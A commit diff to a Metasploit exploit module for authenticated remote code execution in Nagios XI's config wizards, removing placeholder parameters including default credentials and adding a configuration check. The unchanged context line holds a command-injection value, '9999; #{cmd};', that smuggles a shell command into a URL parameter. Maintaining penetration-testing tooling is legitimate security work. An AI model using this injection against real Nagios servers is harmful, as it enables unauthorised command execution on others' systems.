Remove extra payload details, add config check

modules/exploits/linux/http/nagios_xi_configwizards_authenticated_rce.rb

@@ -165,13 +165,10 @@ class MetasploitModule < Msf::Exploit::Remote
       url_params = url_params.merge({
         'nextstep' => 3,
         'wizard' => 'windowswmi',
-        'check_wmic_plus_ver' => '1.65',
-        'ip_address' => '127.0.0.1',
-        'domain' => '127.0.0.1',
-        'username' => 'nagiosadmin',
-        'password' => 'password',
         datastore['TARGET_URL_PARAM'] => "9999; #{cmd};"
       })
+    else
+      fail_with(Failure::BadConfig, 'Invalid TARGET_URL_PARAM: Choose ip_address or plugin_output_len')
     end
 
     send_request_cgi({